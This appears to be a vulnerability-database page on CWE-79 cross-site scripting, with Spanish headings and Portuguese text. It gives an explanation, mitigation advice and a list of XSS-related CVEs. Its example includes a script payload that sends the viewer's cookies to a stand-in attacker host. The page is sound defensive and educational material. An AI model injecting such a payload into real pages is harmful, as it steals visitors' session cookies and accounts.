Fallos del tipo CWE-79

29.359 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-50701MEDIUMFrappe Framework 17.0.0-dev - Reflected DOM XSS in dashboard-view breadcrumb renderingEPSS 0.5%CVE-2026-72751MEDIUMStored Cross-Site Scripting in CTI-Transmute Conversion Graph via Malicious STIX/MISP ContentEPSS 0.5%CVE-2024-7976MEDIUMInappropriate implementation in FedCM in Google Chrome prior to 128.0.6613.84 allowed a remote attacker to perform UI spoofing via a craftedEPSS 0.5%CVE-2026-39838MEDIUMProofreadPage improperly sanitizes multiline styles using Sanitizer::checkCSSEPSS 0.5%CVE-2024-7343MEDIUMBaidu UEditor cross site scriptingEPSS 0.5%CVE-2024-4327LOWApryse WebViewer PDF Document cross site scriptingEPSS 0.5%CVE-2024-2655MEDIUMElementor Addons by Livemesh <= 8.3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Display NameEPSS 0.5%CVE-2022-45598MEDIUMCross Site Scripting vulnerability in Joplin Desktop App before v2.9.17 allows attacker to execute arbitrary code via improper santization.EPSS 0.5%CVE-2024-8499MEDIUMCheckout Field Editor (Checkout Manager) for WooCommerce <= 2.0.3 - Reflected Cross-Site Scripting via render_review_request_noticeEPSS 0.5%CVE-2025-6551MEDIUMjava-aodeng Hope-Boot WebController.java login cross site scriptingEPSS 0.5%CVE-2024-12469MEDIUMWP BASE Booking of Appointments, Services and Events <= 4.9.1 - Reflected Cross-Site Scripting via status ParameterEPSS 0.5%CVE-2024-9279MEDIUMfunnyzpc Mee-Admin User Center index cross site scriptingEPSS 0.5%CVE-2023-36688MEDIUMWordPress Simple Site Verify Plugin <= 1.0.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2023-41791HIGHLack of Authorization and Stored XSS Via Translation AbuseEPSS 0.5%CVE-2024-11810MEDIUMPayGreen Payment Gateway <= 1.0.26 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-3653MEDIUMStored XSS in Digital Ant E-Commerce SoftwareEPSS 0.5%CVE-2023-37259MEDIUMCross site scripting in Export Chat featureEPSS 0.5%CVE-2024-9225MEDIUMSEOPress – On-site SEO <= 8.1.1 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2025-62380LOWMailgen has HTML Injection and XSS Filter Bypass in Plaintext EmailsEPSS 0.5%CVE-2026-8948CRITICALSame-origin policy bypass in the DOM: Networking componentEPSS 0.5%